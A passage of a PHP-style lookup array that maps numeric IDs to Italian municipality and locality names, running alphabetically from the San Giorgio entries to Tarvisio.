Pertiche\",6217 => \"San Giorgio di lomellina\",6218 => \"San Giorgio di mantova\",6219 => \"San Giorgio di nogaro\",6220 => \"San Giorgio di pesaro\",6221 => \"San Giorgio di piano\",6222 => \"San Giorgio in bosco\",6223 => \"San Giorgio ionico\",6224 => \"San Giorgio la molara\",6225 => \"San Giorgio lucano\",6226 => \"San Giorgio monferrato\",6227 => \"San Giorgio morgeto\",6228 => \"San Giorgio piacentino\",6229 => \"San Giorgio scarampi\",6230 => \"San Giorgio su Legnano\",6231 => \"San Giorio di susa\",6232 => \"San Giovanni a piro\",6233 => \"San Giovanni al natisone\",6234 => \"San Giovanni bianco\",6235 => \"San Giovanni d'asso\",6236 => \"San Giovanni del dosso\",6237 => \"San Giovanni di gerace\",6238 => \"San Giovanni gemini\",6239 => \"San Giovanni ilarione\",6240 => \"San Giovanni in croce\",6241 => \"San Giovanni in fiore\",6242 => \"San Giovanni in galdo\",6243 => \"San Giovanni in marignano\",6244 => \"San Giovanni in persiceto\",8567 => \"San Giovanni in val Aurina\",6245 => \"San Giovanni incarico\",6246 => \"San Giovanni la punta\",6247 => \"San Giovanni lipioni\",6248 => \"San Giovanni lupatoto\",6249 => \"San Giovanni rotondo\",6250 => \"San Giovanni suergiu\",6251 => \"San Giovanni teatino\",6252 => \"San Giovanni valdarno\",6253 => \"San Giuliano del sannio\",6254 => \"San Giuliano di Puglia\",6255 => \"San Giuliano milanese\",6256 => \"San Giuliano terme\",6257 => \"San Giuseppe jato\",6258 => \"San Giuseppe vesuviano\",6259 => \"San Giustino\",6260 => \"San Giusto canavese\",6261 => \"San Godenzo\",6262 => \"San Gregorio d'ippona\",6263 => \"San Gregorio da sassola\",6264 => \"San Gregorio di Catania\",6265 => \"San Gregorio Magno\",6266 => \"San Gregorio Matese\",6267 => \"San Gregorio nelle Alpi\",6268 => \"San Lazzaro di Savena\",6269 => \"San Leo\",6270 => \"San Leonardo\",6271 => \"San Leonardo in Passiria\",8580 => \"San Leone\",6272 => \"San Leucio del Sannio\",6273 => \"San Lorenzello\",6274 => \"San Lorenzo\",6275 => \"San Lorenzo al mare\",6276 => \"San Lorenzo Bellizzi\",6277 => \"San Lorenzo del vallo\",6278 => \"San Lorenzo di Sebato\",6279 => \"San Lorenzo in Banale\",6280 => \"San Lorenzo in campo\",6281 => \"San Lorenzo isontino\",6282 => \"San Lorenzo Maggiore\",6283 => \"San Lorenzo Nuovo\",6284 => \"San Luca\",6285 => \"San Lucido\",6286 => \"San Lupo\",6287 => \"San Mango d'Aquino\",6288 => \"San Mango Piemonte\",6289 => \"San Mango sul Calore\",6290 => \"San Marcellino\",6291 => \"San Marcello\",6292 => \"San Marcello pistoiese\",6293 => \"San Marco argentano\",6294 => \"San Marco d'Alunzio\",6295 => \"San Marco dei Cavoti\",6296 => \"San Marco Evangelista\",6297 => \"San Marco in Lamis\",6298 => \"San Marco la Catola\",8152 => \"San Marino\",6299 => \"San Martino al Tagliamento\",6300 => \"San Martino Alfieri\",6301 => \"San Martino Buon Albergo\",6302 => \"San Martino Canavese\",6303 => \"San Martino d'Agri\",6304 => \"San Martino dall'argine\",6305 => \"San Martino del lago\",8209 => \"San Martino di Castrozza\",6306 => \"San Martino di Finita\",6307 => \"San Martino di Lupari\",6308 => \"San Martino di venezze\",8410 => \"San Martino d`agri\",6309 => \"San Martino in Badia\",6310 => \"San Martino in Passiria\",6311 => \"San Martino in pensilis\",6312 => \"San Martino in rio\",6313 => \"San Martino in strada\",6314 => \"San Martino sannita\",6315 => \"San Martino siccomario\",6316 => \"San Martino sulla marrucina\",6317 => \"San Martino valle caudina\",6318 => \"San Marzano di San Giuseppe\",6319 => \"San Marzano oliveto\",6320 => \"San Marzano sul Sarno\",6321 => \"San Massimo\",6322 => \"San Maurizio canavese\",6323 => \"San Maurizio d'opaglio\",6324 => \"San Mauro castelverde\",6325 => \"San Mauro cilento\",6326 => \"San Mauro di saline\",8427 => \"San Mauro forte\",6328 => \"San Mauro la bruca\",6329 => \"San Mauro marchesato\",6330 => \"San Mauro Pascoli\",6331 => \"San Mauro torinese\",6332 => \"San Michele al Tagliamento\",6333 => \"San Michele all'Adige\",6334 => \"San Michele di ganzaria\",6335 => \"San Michele di serino\",6336 => \"San Michele Mondovi'\",6337 => \"San Michele salentino\",6338 => \"San Miniato\",6339 => \"San Nazario\",6340 => \"San Nazzaro\",6341 => \"San Nazzaro Sesia\",6342 => \"San Nazzaro val cavargna\",6343 => \"San Nicola arcella\",6344 => \"San Nicola baronia\",6345 => \"San Nicola da crissa\",6346 => \"San Nicola dell'alto\",6347 => \"San Nicola la strada\",6348 => \"San nicola manfredi\",6349 => \"San nicolo' d'arcidano\",6350 => \"San nicolo' di comelico\",6351 => \"San Nicolo' Gerrei\",6352 => \"San Pancrazio\",6353 => \"San Pancrazio salentino\",6354 => \"San Paolo\",8361 => \"San Paolo albanese\",6356 => \"San Paolo bel sito\",6357 => \"San Paolo cervo\",6358 => \"San Paolo d'argon\",6359 => \"San Paolo di civitate\",6360 => \"San Paolo di Jesi\",6361 => \"San Paolo solbrito\",6362 => \"San Pellegrino terme\",6363 => \"San Pier d'isonzo\",6364 => \"San Pier niceto\",6365 => \"San Piero a sieve\",6366 => \"San Piero Patti\",6367 => \"San Pietro a maida\",6368 => \"San Pietro al Natisone\",6369 => \"San Pietro al Tanagro\",6370 => \"San Pietro apostolo\",6371 => \"San Pietro avellana\",6372 => \"San Pietro clarenza\",6373 => \"San Pietro di cadore\",6374 => \"San Pietro di carida'\",6375 => \"San Pietro di feletto\",6376 => \"San Pietro di morubio\",6377 => \"San Pietro in Amantea\",6378 => \"San Pietro in cariano\",6379 => \"San Pietro in casale\",6380 => \"San Pietro in cerro\",6381 => \"San Pietro in gu\",6382 => \"San Pietro in guarano\",6383 => \"San Pietro in lama\",6384 => \"San Pietro infine\",6385 => \"San Pietro mosezzo\",6386 => \"San Pietro mussolino\",6387 => \"San Pietro val lemina\",6388 => \"San Pietro vernotico\",6389 => \"San Pietro Viminario\",6390 => \"San Pio delle camere\",6391 => \"San Polo d'enza\",6392 => \"San Polo dei cavalieri\",6393 => \"San Polo di Piave\",6394 => \"San Polo matese\",6395 => \"San Ponso\",6396 => \"San Possidonio\",6397 => \"San Potito sannitico\",6398 => \"San Potito ultra\",6399 => \"San Prisco\",6400 => \"San Procopio\",6401 => \"San Prospero\",6402 => \"San Quirico d'orcia\",8199 => \"San Quirico d`Orcia\",6403 => \"San Quirino\",6404 => \"San Raffaele cimena\",6405 => \"San Roberto\",6406 => \"San Rocco al porto\",6407 => \"San Romano in garfagnana\",6408 => \"San Rufo\",6409 => \"San Salvatore di fitalia\",6410 => \"San Salvatore Monferrato\",6411 => \"San Salvatore Telesino\",6412 => \"San Salvo\",8103 => \"San Salvo Marina\",6413 => \"San Sebastiano al Vesuvio\",6414 => \"San Sebastiano Curone\",6415 => \"San Sebastiano da Po\",6416 => \"San Secondo di Pinerolo\",6417 => \"San Secondo Parmense\",6418 => \"San Severino Lucano\",6419 => \"San Severino Marche\",6420 => \"San Severo\",8347 => \"San Sicario di Cesana\",8289 => \"San Simone\",8539 => \"San Simone Baita del Camoscio\",6421 => \"San Siro\",6422 => \"San Sossio Baronia\",6423 => \"San Sostene\",6424 => \"San Sosti\",6425 => \"San Sperate\",6426 => \"San Tammaro\",6427 => \"San Teodoro\",8170 => \"San Teodoro\",6429 => \"San Tomaso agordino\",8212 => \"San Valentino alla Muta\",6430 => \"San Valentino in abruzzo citeriore\",6431 => \"San Valentino torio\",6432 => \"San Venanzo\",6433 => \"San Vendemiano\",6434 => \"San Vero milis\",6435 => \"San Vincenzo\",6436 => \"San Vincenzo la costa\",6437 => \"San Vincenzo valle roveto\",6438 => \"San Vitaliano\",8293 => \"San Vito\",6440 => \"San Vito al tagliamento\",6441 => \"San Vito al torre\",6442 => \"San Vito chietino\",6443 => \"San Vito dei normanni\",6444 => \"San Vito di cadore\",6445 => \"San Vito di fagagna\",6446 => \"San Vito di leguzzano\",6447 => \"San Vito lo capo\",6448 => \"San Vito romano\",6449 => \"San Vito sullo ionio\",6450 => \"San Vittore del lazio\",6451 => \"San Vittore Olona\",6452 => \"San Zeno di montagna\",6453 => \"San Zeno naviglio\",6454 => \"San Zenone al lambro\",6455 => \"San Zenone al po\",6456 => \"San Zenone degli ezzelini\",6457 => \"Sanarica\",6458 => \"Sandigliano\",6459 => \"Sandrigo\",6460 => \"Sanfre'\",6461 => \"Sanfront\",6462 => \"Sangano\",6463 => \"Sangiano\",6464 => \"Sangineto\",6465 => \"Sanguinetto\",6466 => \"Sanluri\",6467 => \"Sannazzaro de' Burgondi\",6468 => \"Sannicandro di bari\",6469 => \"Sannicandro garganico\",6470 => \"Sannicola\",6471 => \"Sanremo\",6472 => \"Sansepolcro\",6473 => \"Sant'Agapito\",6474 => \"Sant'Agata bolognese\",6475 => \"Sant'Agata de' goti\",6476 => \"Sant'Agata del bianco\",6477 => \"Sant'Agata di esaro\",6478 => \"Sant'Agata di Militello\",6479 => \"Sant'Agata di Puglia\",6480 => \"Sant'Agata feltria\",6481 => \"Sant'Agata fossili\",6482 => \"Sant'Agata li battiati\",6483 => \"Sant'Agata sul Santerno\",6484 => \"Sant'Agnello\",6485 => \"Sant'Agostino\",6486 => \"Sant'Albano stura\",6487 => \"Sant'Alessio con vialone\",6488 => \"Sant'Alessio in aspromonte\",6489 => \"Sant'Alessio siculo\",6490 => \"Sant'Alfio\",6491 => \"Sant'Ambrogio di Torino\",6492 => \"Sant'Ambrogio di valpolicella\",6493 => \"Sant'Ambrogio sul garigliano\",6494 => \"Sant'Anastasia\",6495 => \"Sant'Anatolia di narco\",6496 => \"Sant'Andrea apostolo dello ionio\",6497 => \"Sant'Andrea del garigliano\",6498 => \"Sant'Andrea di conza\",6499 => \"Sant'Andrea Frius\",8763 => \"Sant'Andrea in Monte\",6500 => \"Sant'Angelo a cupolo\",6501 => \"Sant'Angelo a fasanella\",6502 => \"Sant'Angelo a scala\",6503 => \"Sant'Angelo all'esca\",6504 => \"Sant'Angelo d'alife\",6505 => \"Sant'Angelo dei lombardi\",6506 => \"Sant'Angelo del pesco\",6507 => \"Sant'Angelo di brolo\",6508 => \"Sant'Angelo di Piove di Sacco\",6509 => \"Sant'Angelo in lizzola\",6510 => \"Sant'Angelo in pontano\",6511 => \"Sant'Angelo in vado\",6512 => \"Sant'Angelo le fratte\",6513 => \"Sant'Angelo limosano\",6514 => \"Sant'Angelo lodigiano\",6515 => \"Sant'Angelo lomellina\",6516 => \"Sant'Angelo muxaro\",6517 => \"Sant'Angelo romano\",6518 => \"Sant'Anna Arresi\",6519 => \"Sant'Anna d'Alfaedo\",8730 => \"Sant'Anna di Valdieri\",8698 => \"Sant'Anna di Vinadio\",8563 => \"Sant'Anna Pelago\",6520 => \"Sant'Antimo\",6521 => \"Sant'Antioco\",6522 => \"Sant'Antonino di Susa\",6523 => \"Sant'Antonio Abate\",6524 => \"Sant'Antonio di gallura\",6525 => \"Sant'Apollinare\",6526 => \"Sant'Arcangelo\",6527 => \"Sant'Arcangelo trimonte\",6528 => \"Sant'Arpino\",6529 => \"Sant'Arsenio\",6530 => \"Sant'Egidio alla vibrata\",6531 => \"Sant'Egidio del monte Albino\",6532 => \"Sant'Elena\",6533 => \"Sant'Elena sannita\",6534 => \"Sant'Elia a pianisi\",6535 => \"Sant'Elia fiumerapido\",6536 => \"Sant'Elpidio a mare\",6537 => \"Sant'Eufemia a maiella\",6538 => \"Sant'Eufemia d'Aspromonte\",6539 => \"Sant'Eusanio del Sangro\",6540 => \"Sant'Eusanio forconese\",6541 => \"Sant'Ilario d'Enza\",6542 => \"Sant'Ilario dello Ionio\",6543 => \"Sant'Ippolito\",6544 => \"Sant'Olcese\",6545 => \"Sant'Omero\",6546 => \"Sant'Omobono imagna\",6547 => \"Sant'Onofrio\",6548 => \"Sant'Oreste\",6549 => \"Sant'Orsola terme\",6550 => \"Sant'Urbano\",6551 => \"Santa Brigida\",6552 => \"Santa Caterina albanese\",6553 => \"Santa Caterina dello ionio\",8144 => \"Santa Caterina Valfurva\",6554 => \"Santa Caterina villarmosa\",6555 => \"Santa Cesarea terme\",6556 => \"Santa Cristina d'Aspromonte\",6557 => \"Santa Cristina e Bissone\",6558 => \"Santa Cristina gela\",6559 => \"Santa Cristina Valgardena\",6560 => \"Santa Croce camerina\",6561 => \"Santa Croce del sannio\",6562 => \"Santa Croce di Magliano\",6563 => \"Santa Croce sull'Arno\",6564 => \"Santa Domenica talao\",6565 => \"Santa Domenica Vittoria\",6566 => \"Santa Elisabetta\",6567 => \"Santa Fiora\",6568 => \"Santa Flavia\",6569 => \"Santa Giuletta\",6570 => \"Santa Giusta\",6571 => \"Santa Giustina\",6572 => \"Santa Giustina in Colle\",6573 => \"Santa Luce\",6574 => \"Santa Lucia del Mela\",6575 => \"Santa Lucia di Piave\",6576 => \"Santa Lucia di serino\",6577 => \"Santa Margherita d'adige\",6578 => \"Santa Margherita di belice\",6579 => \"Santa Margherita di staffora\",8285 => \"Santa Margherita Ligure\",6581 => \"Santa Maria a monte\",6582 => \"Santa Maria a vico\",6583 => \"Santa Maria Capua Vetere\",6584 => \"Santa Maria coghinas\",6585 => \"Santa Maria del cedro\",6586 => \"Santa Maria del Molise\",6587 => \"Santa Maria della Versa\",8122 => \"Santa Maria di Castellabate\",6588 => \"Santa Maria di Licodia\",6589 => \"Santa Maria di sala\",6590 => \"Santa Maria Hoe'\",6591 => \"Santa Maria imbaro\",6592 => \"Santa Maria la carita'\",6593 => \"Santa Maria la fossa\",6594 => \"Santa Maria la longa\",6595 => \"Santa Maria Maggiore\",6596 => \"Santa Maria Nuova\",6597 => \"Santa Marina\",6598 => \"Santa Marina salina\",6599 => \"Santa Marinella\",6600 => \"Santa Ninfa\",6601 => \"Santa Paolina\",6602 => \"Santa Severina\",6603 => \"Santa Sofia\",6604 => \"Santa Sofia d'Epiro\",6605 => \"Santa Teresa di Riva\",6606 => \"Santa Teresa gallura\",6607 => \"Santa Venerina\",6608 => \"Santa Vittoria d'Alba\",6609 => \"Santa Vittoria in matenano\",6610 => \"Santadi\",6611 => \"Santarcangelo di Romagna\",6612 => \"Sante marie\",6613 => \"Santena\",6614 => \"Santeramo in colle\",6615 => \"Santhia'\",6616 => \"Santi Cosma e Damiano\",6617 => \"Santo Stefano al mare\",6618 => \"Santo Stefano Belbo\",6619 => \"Santo Stefano d'Aveto\",6620 => \"Santo Stefano del sole\",6621 => \"Santo Stefano di Cadore\",6622 => \"Santo Stefano di Camastra\",6623 => \"Santo Stefano di Magra\",6624 => \"Santo Stefano di Rogliano\",6625 => \"Santo Stefano di Sessanio\",6626 => \"Santo Stefano in Aspromonte\",6627 => \"Santo Stefano lodigiano\",6628 => \"Santo Stefano quisquina\",6629 => \"Santo Stefano roero\",6630 => \"Santo Stefano Ticino\",6631 => \"Santo Stino di Livenza\",6632 => \"Santomenna\",6633 => \"Santopadre\",6634 => \"Santorso\",6635 => \"Santu Lussurgiu\",8419 => \"Sant`Angelo le fratte\",6636 => \"Sanza\",6637 => \"Sanzeno\",6638 => \"Saonara\",6639 => \"Saponara\",6640 => \"Sappada\",6641 => \"Sapri\",6642 => \"Saracena\",6643 => \"Saracinesco\",6644 => \"Sarcedo\",8377 => \"Sarconi\",6646 => \"Sardara\",6647 => \"Sardigliano\",6648 => \"Sarego\",6649 => \"Sarentino\",6650 => \"Sarezzano\",6651 => \"Sarezzo\",6652 => \"Sarmato\",6653 => \"Sarmede\",6654 => \"Sarnano\",6655 => \"Sarnico\",6656 => \"Sarno\",6657 => \"Sarnonico\",6658 => \"Saronno\",6659 => \"Sarre\",6660 => \"Sarroch\",6661 => \"Sarsina\",6662 => \"Sarteano\",6663 => \"Sartirana lomellina\",6664 => \"Sarule\",6665 => \"Sarzana\",6666 => \"Sassano\",6667 => \"Sassari\",6668 => \"Sassello\",6669 => \"Sassetta\",6670 => \"Sassinoro\",8387 => \"Sasso di castalda\",6672 => \"Sasso marconi\",6673 => \"Sassocorvaro\",6674 => \"Sassofeltrio\",6675 => \"Sassoferrato\",8656 => \"Sassotetto\",6676 => \"Sassuolo\",6677 => \"Satriano\",8420 => \"Satriano di Lucania\",6679 => \"Sauris\",6680 => \"Sauze d'Oulx\",6681 => \"Sauze di Cesana\",6682 => \"Sava\",6683 => \"Savelli\",6684 => \"Saviano\",6685 => \"Savigliano\",6686 => \"Savignano irpino\",6687 => \"Savignano sul Panaro\",6688 => \"Savignano sul Rubicone\",6689 => \"Savigno\",6690 => \"Savignone\",6691 => \"Saviore dell'Adamello\",6692 => \"Savoca\",6693 => \"Savogna\",6694 => \"Savogna d'Isonzo\",8411 => \"Savoia di Lucania\",6696 => \"Savona\",6697 => \"Scafa\",6698 => \"Scafati\",6699 => \"Scagnello\",6700 => \"Scala\",6701 => \"Scala coeli\",6702 => \"Scaldasole\",6703 => \"Scalea\",6704 => \"Scalenghe\",6705 => \"Scaletta Zanclea\",6706 => \"Scampitella\",6707 => \"Scandale\",6708 => \"Scandiano\",6709 => \"Scandicci\",6710 => \"Scandolara ravara\",6711 => \"Scandolara ripa d'Oglio\",6712 => \"Scandriglia\",6713 => \"Scanno\",6714 => \"Scano di montiferro\",6715 => \"Scansano\",6716 => \"Scanzano jonico\",6717 => \"Scanzorosciate\",6718 => \"Scapoli\",8120 => \"Scario\",6719 => \"Scarlino\",6720 => \"Scarmagno\",6721 => \"Scarnafigi\",6722 => \"Scarperia\",8139 => \"Scauri\",6723 => \"Scena\",6724 => \"Scerni\",6725 => \"Scheggia e pascelupo\",6726 => \"Scheggino\",6727 => \"Schiavi di Abruzzo\",6728 => \"Schiavon\",8456 => \"Schiavonea di Corigliano\",6729 => \"Schignano\",6730 => \"Schilpario\",6731 => \"Schio\",6732 => \"Schivenoglia\",6733 => \"Sciacca\",6734 => \"Sciara\",6735 => \"Scicli\",6736 => \"Scido\",6737 => \"Scigliano\",6738 => \"Scilla\",6739 => \"Scillato\",6740 => \"Sciolze\",6741 => \"Scisciano\",6742 => \"Sclafani bagni\",6743 => \"Scontrone\",6744 => \"Scopa\",6745 => \"Scopello\",6746 => \"Scoppito\",6747 => \"Scordia\",6748 => \"Scorrano\",6749 => \"Scorze'\",6750 => \"Scurcola marsicana\",6751 => \"Scurelle\",6752 => \"Scurzolengo\",6753 => \"Seborga\",6754 => \"Secinaro\",6755 => \"Secli'\",8336 => \"Secondino\",6756 => \"Secugnago\",6757 => \"Sedegliano\",6758 => \"Sedico\",6759 => \"Sedilo\",6760 => \"Sedini\",6761 => \"Sedriano\",6762 => \"Sedrina\",6763 => \"Sefro\",6764 => \"Segariu\",8714 => \"Segesta\",6765 => \"Seggiano\",6766 => \"Segni\",6767 => \"Segonzano\",6768 => \"Segrate\",6769 => \"Segusino\",6770 => \"Selargius\",6771 => \"Selci\",6772 => \"Selegas\",8715 => \"Selinunte\",8130 => \"Sella Nevea\",6773 => \"Sellano\",8651 => \"Sellata Arioso\",6774 => \"Sellero\",8238 => \"Selletta\",6775 => \"Sellia\",6776 => \"Sellia marina\",6777 => \"Selva dei Molini\",6778 => \"Selva di Cadore\",6779 => \"Selva di Progno\",6780 => \"Selva di Val Gardena\",6781 => \"Selvazzano dentro\",6782 => \"Selve marcone\",6783 => \"Selvino\",6784 => \"Semestene\",6785 => \"Semiana\",6786 => \"Seminara\",6787 => \"Semproniano\",6788 => \"Senago\",6789 => \"Senale San Felice\",6790 => \"Senales\",6791 => \"Seneghe\",6792 => \"Senerchia\",6793 => \"Seniga\",6794 => \"Senigallia\",6795 => \"Senis\",6796 => \"Senise\",6797 => \"Senna comasco\",6798 => \"Senna lodigiana\",6799 => \"Sennariolo\",6800 => \"Sennori\",6801 => \"Senorbi'\",6802 => \"Sepino\",6803 => \"Seppiana\",6804 => \"Sequals\",6805 => \"Seravezza\",6806 => \"Serdiana\",6807 => \"Seregno\",6808 => \"Seren del grappa\",6809 => \"Sergnano\",6810 => \"Seriate\",6811 => \"Serina\",6812 => \"Serino\",6813 => \"Serle\",6814 => \"Sermide\",6815 => \"Sermoneta\",6816 => \"Sernaglia della Battaglia\",6817 => \"Sernio\",6818 => \"Serole\",6819 => \"Serra d'aiello\",6820 => \"Serra de'conti\",6821 => \"Serra pedace\",6822 => \"Serra ricco'\",6823 => \"Serra San Bruno\",6824 => \"Serra San Quirico\",6825 => \"Serra Sant'Abbondio\",6826 => \"Serracapriola\",6827 => \"Serradifalco\",6828 => \"Serralunga d'Alba\",6829 => \"Serralunga di Crea\",6830 => \"Serramanna\",6831 => \"Serramazzoni\",6832 => \"Serramezzana\",6833 => \"Serramonacesca\",6834 => \"Serrapetrona\",6835 => \"Serrara fontana\",6836 => \"Serrastretta\",6837 => \"Serrata\",6838 => \"Serravalle a po\",6839 => \"Serravalle di chienti\",6840 => \"Serravalle langhe\",6841 => \"Serravalle pistoiese\",6842 => \"Serravalle Scrivia\",6843 => \"Serravalle Sesia\",6844 => \"Serre\",6845 => \"Serrenti\",6846 => \"Serri\",6847 => \"Serrone\",6848 => \"Serrungarina\",6849 => \"Sersale\",6850 => \"Servigliano\",6851 => \"Sessa aurunca\",6852 => \"Sessa cilento\",6853 => \"Sessame\",6854 => \"Sessano del Molise\",6855 => \"Sesta godano\",6856 => \"Sestino\",6857 => \"Sesto\",6858 => \"Sesto al reghena\",6859 => \"Sesto calende\",8709 => \"Sesto Calende Alta\",6860 => \"Sesto campano\",6861 => \"Sesto ed Uniti\",6862 => \"Sesto fiorentino\",6863 => \"Sesto San Giovanni\",6864 => \"Sestola\",6865 => \"Sestri levante\",6866 => \"Sestriere\",6867 => \"Sestu\",6868 => \"Settala\",8316 => \"Settebagni\",6869 => \"Settefrati\",6870 => \"Settime\",6871 => \"Settimo milanese\",6872 => \"Settimo rottaro\",6873 => \"Settimo San Pietro\",6874 => \"Settimo torinese\",6875 => \"Settimo vittone\",6876 => \"Settingiano\",6877 => \"Setzu\",6878 => \"Seui\",6879 => \"Seulo\",6880 => \"Seveso\",6881 => \"Sezzadio\",6882 => \"Sezze\",6883 => \"Sfruz\",6884 => \"Sgonico\",6885 => \"Sgurgola\",6886 => \"Siamaggiore\",6887 => \"Siamanna\",6888 => \"Siano\",6889 => \"Siapiccia\",8114 => \"Sibari\",6890 => \"Sicignano degli Alburni\",6891 => \"Siculiana\",6892 => \"Siddi\",6893 => \"Siderno\",6894 => \"Siena\",6895 => \"Sigillo\",6896 => \"Signa\",8603 => \"Sigonella\",6897 => \"Silandro\",6898 => \"Silanus\",6899 => \"Silea\",6900 => \"Siligo\",6901 => \"Siliqua\",6902 => \"Silius\",6903 => \"Sillano\",6904 => \"Sillavengo\",6905 => \"Silvano d'orba\",6906 => \"Silvano pietra\",6907 => \"Silvi\",6908 => \"Simala\",6909 => \"Simaxis\",6910 => \"Simbario\",6911 => \"Simeri crichi\",6912 => \"Sinagra\",6913 => \"Sinalunga\",6914 => \"Sindia\",6915 => \"Sini\",6916 => \"Sinio\",6917 => \"Siniscola\",6918 => \"Sinnai\",6919 => \"Sinopoli\",6920 => \"Siracusa\",6921 => \"Sirignano\",6922 => \"Siris\",6923 => \"Sirmione\",8457 => \"Sirolo\",6925 => \"Sirone\",6926 => \"Siror\",6927 => \"Sirtori\",6928 => \"Sissa\",8492 => \"Sistiana\",6929 => \"Siurgus donigala\",6930 => \"Siziano\",6931 => \"Sizzano\",8258 => \"Ski center Latemar\",6932 => \"Sluderno\",6933 => \"Smarano\",6934 => \"Smerillo\",6935 => \"Soave\",8341 => \"Sobretta Vallalpe\",6936 => \"Socchieve\",6937 => \"Soddi\",6938 => \"Sogliano al rubicone\",6939 => \"Sogliano Cavour\",6940 => \"Soglio\",6941 => \"Soiano del lago\",6942 => \"Solagna\",6943 => \"Solarino\",6944 => \"Solaro\",6945 => \"Solarolo\",6946 => \"Solarolo Rainerio\",6947 => \"Solarussa\",6948 => \"Solbiate\",6949 => \"Solbiate Arno\",6950 => \"Solbiate Olona\",8307 => \"Solda\",6951 => \"Soldano\",6952 => \"Soleminis\",6953 => \"Solero\",6954 => \"Solesino\",6955 => \"Soleto\",6956 => \"Solferino\",6957 => \"Soliera\",6958 => \"Solignano\",6959 => \"Solofra\",6960 => \"Solonghello\",6961 => \"Solopaca\",6962 => \"Solto collina\",6963 => \"Solza\",6964 => \"Somaglia\",6965 => \"Somano\",6966 => \"Somma lombardo\",6967 => \"Somma vesuviana\",6968 => \"Sommacampagna\",6969 => \"Sommariva del bosco\",6970 => \"Sommariva Perno\",6971 => \"Sommatino\",6972 => \"Sommo\",6973 => \"Sona\",6974 => \"Soncino\",6975 => \"Sondalo\",6976 => \"Sondrio\",6977 => \"Songavazzo\",6978 => \"Sonico\",6979 => \"Sonnino\",6980 => \"Soprana\",6981 => \"Sora\",6982 => \"Soraga\",6983 => \"Soragna\",6984 => \"Sorano\",6985 => \"Sorbo San Basile\",6986 => \"Sorbo Serpico\",6987 => \"Sorbolo\",6988 => \"Sordevolo\",6989 => \"Sordio\",6990 => \"Soresina\",6991 => \"Sorga'\",6992 => \"Sorgono\",6993 => \"Sori\",6994 => \"Sorianello\",6995 => \"Soriano calabro\",6996 => \"Soriano nel cimino\",6997 => \"Sorico\",6998 => \"Soriso\",6999 => \"Sorisole\",7000 => \"Sormano\",7001 => \"Sorradile\",7002 => \"Sorrento\",7003 => \"Sorso\",7004 => \"Sortino\",7005 => \"Sospiro\",7006 => \"Sospirolo\",7007 => \"Sossano\",7008 => \"Sostegno\",7009 => \"Sotto il monte Giovanni XXIII\",8747 => \"Sottomarina\",7010 => \"Sover\",7011 => \"Soverato\",7012 => \"Sovere\",7013 => \"Soveria mannelli\",7014 => \"Soveria simeri\",7015 => \"Soverzene\",7016 => \"Sovicille\",7017 => \"Sovico\",7018 => \"Sovizzo\",7019 => \"Sovramonte\",7020 => \"Sozzago\",7021 => \"Spadafora\",7022 => \"Spadola\",7023 => \"Sparanise\",7024 => \"Sparone\",7025 => \"Specchia\",7026 => \"Spello\",8585 => \"Spelonga\",7027 => \"Spera\",7028 => \"Sperlinga\",7029 => \"Sperlonga\",7030 => \"Sperone\",7031 => \"Spessa\",7032 => \"Spezzano albanese\",7033 => \"Spezzano della Sila\",7034 => \"Spezzano piccolo\",7035 => \"Spiazzo\",7036 => \"Spigno monferrato\",7037 => \"Spigno saturnia\",7038 => \"Spilamberto\",7039 => \"Spilimbergo\",7040 => \"Spilinga\",7041 => \"Spinadesco\",7042 => \"Spinazzola\",7043 => \"Spinea\",7044 => \"Spineda\",7045 => \"Spinete\",7046 => \"Spineto Scrivia\",7047 => \"Spinetoli\",7048 => \"Spino d'Adda\",7049 => \"Spinone al lago\",8421 => \"Spinoso\",7051 => \"Spirano\",7052 => \"Spoleto\",7053 => \"Spoltore\",7054 => \"Spongano\",7055 => \"Spormaggiore\",7056 => \"Sporminore\",7057 => \"Spotorno\",7058 => \"Spresiano\",7059 => \"Spriana\",7060 => \"Squillace\",7061 => \"Squinzano\",8248 => \"Staffal\",7062 => \"Staffolo\",7063 => \"Stagno lombardo\",7064 => \"Staiti\",7065 => \"Staletti\",7066 => \"Stanghella\",7067 => \"Staranzano\",7068 => \"Statte\",7069 => \"Stazzano\",7070 => \"Stazzema\",7071 => \"Stazzona\",7072 => \"Stefanaconi\",7073 => \"Stella\",7074 => \"Stella cilento\",7075 => \"Stellanello\",7076 => \"Stelvio\",7077 => \"Stenico\",7078 => \"Sternatia\",7079 => \"Stezzano\",7080 => \"Stia\",7081 => \"Stienta\",7082 => \"Stigliano\",7083 => \"Stignano\",7084 => \"Stilo\",7085 => \"Stimigliano\",7086 => \"Stintino\",7087 => \"Stio\",7088 => \"Stornara\",7089 => \"Stornarella\",7090 => \"Storo\",7091 => \"Stra\",7092 => \"Stradella\",7093 => \"Strambinello\",7094 => \"Strambino\",7095 => \"Strangolagalli\",7096 => \"Stregna\",7097 => \"Strembo\",7098 => \"Stresa\",7099 => \"Strevi\",7100 => \"Striano\",7101 => \"Strigno\",8182 => \"Stromboli\",7102 => \"Strona\",7103 => \"Stroncone\",7104 => \"Strongoli\",7105 => \"Stroppiana\",7106 => \"Stroppo\",7107 => \"Strozza\",8493 => \"Stupizza\",7108 => \"Sturno\",7109 => \"Suardi\",7110 => \"Subbiano\",7111 => \"Subiaco\",7112 => \"Succivo\",7113 => \"Sueglio\",7114 => \"Suelli\",7115 => \"Suello\",7116 => \"Suisio\",7117 => \"Sulbiate\",7118 => \"Sulmona\",7119 => \"Sulzano\",7120 => \"Sumirago\",7121 => \"Summonte\",7122 => \"Suni\",7123 => \"Suno\",7124 => \"Supersano\",7125 => \"Supino\",7126 => \"Surano\",7127 => \"Surbo\",7128 => \"Susa\",7129 => \"Susegana\",7130 => \"Sustinente\",7131 => \"Sutera\",7132 => \"Sutri\",7133 => \"Sutrio\",7134 => \"Suvereto\",7135 => \"Suzzara\",7136 => \"Taceno\",7137 => \"Tadasuni\",7138 => \"Taggia\",7139 => \"Tagliacozzo\",8450 => \"Tagliacozzo casello\",7140 => \"Taglio di po\",7141 => \"Tagliolo monferrato\",7142 => \"Taibon agordino\",7143 => \"Taino\",7144 => \"Taio\",7145 => \"Taipana\",7146 => \"Talamello\",7147 => \"Talamona\",8299 => \"Talamone\",7148 => \"Talana\",7149 => \"Taleggio\",7150 => \"Talla\",7151 => \"Talmassons\",7152 => \"Tambre\",7153 => \"Taormina\",7154 => \"Tapogliano\",7155 => \"Tarano\",7156 => \"Taranta peligna\",7157 => \"Tarantasca\",7158 => \"Taranto\",8550 => \"Taranto M. A. Grottaglie\",7159 => \"Tarcento\",7160 => \"Tarquinia\",8140 => \"Tarquinia Lido\",7161 => \"Tarsia\",7162 => \"Tartano\",7163 => \"Tarvisio\",8466 => 